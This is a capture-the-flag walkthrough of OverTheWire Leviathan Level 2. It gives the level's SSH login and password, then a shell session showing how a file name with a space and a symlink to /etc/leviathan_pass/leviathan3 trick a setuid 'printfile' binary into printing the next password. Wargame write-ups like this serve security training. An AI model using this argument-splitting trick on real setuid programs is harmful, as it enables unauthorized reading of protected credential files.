Kappa

“Great things are not done by impulse, but by a series of small things brought together.”

Over The Wire

---

Level 2

ssh leviathan2@leviathan.labs.overthewire.org -p 2223
password: NsN1HwFoyN

Objective:

There is no information for this level, intentionally.

CLI:

          leviathan2@gibson:~$ ls -la
          total 36
          drwxr-xr-x  2 root       root        4096 Sep 19 07:07 .
          drwxr-xr-x 83 root       root        4096 Sep 19 07:09 ..
          -rw-r--r--  1 root       root         220 Mar 31  2024 .bash_logout
          -rw-r--r--  1 root       root        3771 Mar 31  2024 .bashrc
          -r-sr-x---  1 leviathan3 leviathan2 15068 Sep 19 07:07 printfile
          -rw-r--r--  1 root       root         807 Mar 31  2024 .profile

          leviathan2@gibson:~$ ./printfile
          *** File Printer ***
          Usage: ./printfile filename

          leviathan2@gibson:~$ ./printfile /etc/leviathan_pass/leviathan3
          You cant have that file...

          leviathan2@gibson:~$ mkdir /tmp/jin && touch /tmp/jin/test.txt

          leviathan2@gibson:~$ cd /tmp/jin
          leviathan2@gibson:/tmp/jin$ ltrace ~/printfile test.txt
          __libc_start_main(0x80490ed, 2, 0xffffd444, 0 "unfinished ..."
          access("test.txt", 4)                            = 0
          snprintf("/bin/cat test.txt", 511, "/bin/cat %s", "test.txt") = 17
          geteuid()                                        = 12002
          geteuid()                                        = 12002
          setreuid(12002, 12002)                           = 0
          system("/bin/cat test.txt" "no return ..."
          --- SIGCHLD (Child exited) ---
          <... system resumed> )                           = 0
          +++ exited (status 0) +++

          leviathan2@gibson:/tmp/jin$ touch pass\ file.txt
          leviathan2@gibson:/tmp/jin$ ltrace ~/printfile "pass file.txt"
          __libc_start_main(0x80490ed, 2, 0xffffd444, 0 "unfinished ..."
          access("pass file.txt", 4)                       = 0
          snprintf("/bin/cat pass file.txt", 511, "/bin/cat %s", "pass file.txt") = 22
          geteuid()                                        = 12002
          geteuid()                                        = 12002
          setreuid(12002, 12002)                           = 0
          system("/bin/cat pass file.txt"/bin/cat: pass: No such file or directory
          /bin/cat: file.txt: No such file or directory
          "no return ..."
          --- SIGCHLD (Child exited) ---
          <... system resumed> )                           = 256
          +++ exited (status 0) +++

          leviathan2@gibson:/tmp/jin$ ln -s /etc/leviathan_pass/leviathan3 /tmp/jin/pass
          leviathan2@gibson:/tmp/jin$ ls -la
          total 11380
          drwxrwxr-x    2 leviathan2 leviathan2     4096 Dec 28 21:02 .
          drwxrwx-wt 1590 root       root       11644928 Dec 28 21:03 ..
          lrwxrwxrwx    1 leviathan2 leviathan2       30 Dec 28 21:02 pass -> /etc/leviathan_pass/leviathan3
          -rw-rw-r--    1 leviathan2 leviathan2        0 Dec 28 21:01 pass file.txt
          -rw-rw-r--    1 leviathan2 leviathan2        0 Dec 28 20:59 test.txt

          leviathan2@gibson:/tmp/jin$ ~/printfile "pass file.txt"
          f0n8h2iWLP
          /bin/cat: file.txt: No such file or directory
          leviathan2@gibson:/tmp/jin$